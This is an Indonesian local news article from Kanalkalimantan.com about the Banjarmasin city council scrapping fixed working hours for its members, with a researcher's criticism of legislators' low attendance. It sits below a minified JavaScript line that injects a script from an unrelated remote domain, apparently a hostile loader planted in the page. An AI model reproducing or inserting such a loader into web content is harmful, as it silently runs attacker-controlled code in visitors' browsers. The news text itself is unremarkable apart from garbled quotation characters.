(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ada saja gebrakan yang dilakukan anggota DPRD Banjarmasin. Saat ini, mereka tengah menggodok aturan dalam tata tertib (tatib) di dewan terkait ketentuan jam kerja. Dengan aturan baru tersebut, anggota dewan bisa ngantor tanpa batasan jam 08.00 hingga 16.00 Wita layaknya PNS. Mau masuk pagi, siang, atau sore pun, bisa!
Penghapusan ketentuan jam kerja dewan ini disampaikan Ketua DPRD Banjarmasin Harry Wijaya. Ia mengatakan, kebijakan tersebut dilakukan untuk mendorong efektivitas kinerja dewan. “Ada perubahan di jam kerja, supaya efisiensi dalam pelaksanaan agenda-agenda DPRD lebih efisien,” katanya kepada Kanalkalimantan.com.
Untuk hari kerja, Harry menjelaskan, anggota DPRD Kota Banjarmasin tetap seperti biasa yaitu dari Senin hingga Jumat. Hanya saja, ia menyebut tidak lagi ada pemberlakuan jam kerja dari pagi hingga sore hari. Apalagi di dewan juga tidak ada ketentuan harus absensi sidik jari. “Kalau untuk DPRD Kota Banjarmasin tidak ada. Jadi apakah pagi, siang, atau apakah sampai dinihari. Kalau untuk pelaksanaan rapat tidak masalah,” jelas Harry.
Kebijakan baru ini memang terasa janggal di tengah sorotan pada kehadiran anggota dewan. Apalagi, dalam sejumlah rapat dietahui jarang dapat dihadiri seluruh anggota secara penuh.
Terkait hal ini, Peneliti senior Lembaga Ilmu Pengetahuan Indonesia (LIPI) Syamsuddin Haris menuturkan, kehadiran anggota DPR baik, kehadiran ide dan kehadiran fisik menjadi suatu keharusan.
Syamsuddin menegaskan, akuntabilitas dan pertanggungjawaban anggota dewan kepada publik yang memilihnya belum begitu nampak. “Ini penting sekali untuk mengingatkan Parpol mengenai manajemen kehadiran.Yang saya khawatirkan bahwa level komitmen anggota DPR di parpol atau fraksi rendah,†tutur Syamsuddin seperti dilansir Kompas.com.
Ia menuturkan, tingkat kehadiran anggota DPR rendah lantaran harus menjalankan tugas kedewanan di tempat lain atau menyerap aspirasi di daerah pemilihan (dapil) tidak masuk akal. “Kita hidup di dunia komunikasi begitu mudah, medianya begitu banyak ada media sosial, online, konvensional seperti teve, radio, koran dengan WA bisa mengontak konstituen,†tutur dia.
Meski demikian, Syamsuddin mengemukakan, rendahnya kehadiran dalam Rapat Paripurna bukan semata-mata kemalasan anggota. Menurut Syamsuddin, juga disumbangkan akibat sistem Pemilihan anggota legislatif yang proposional terbuka. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.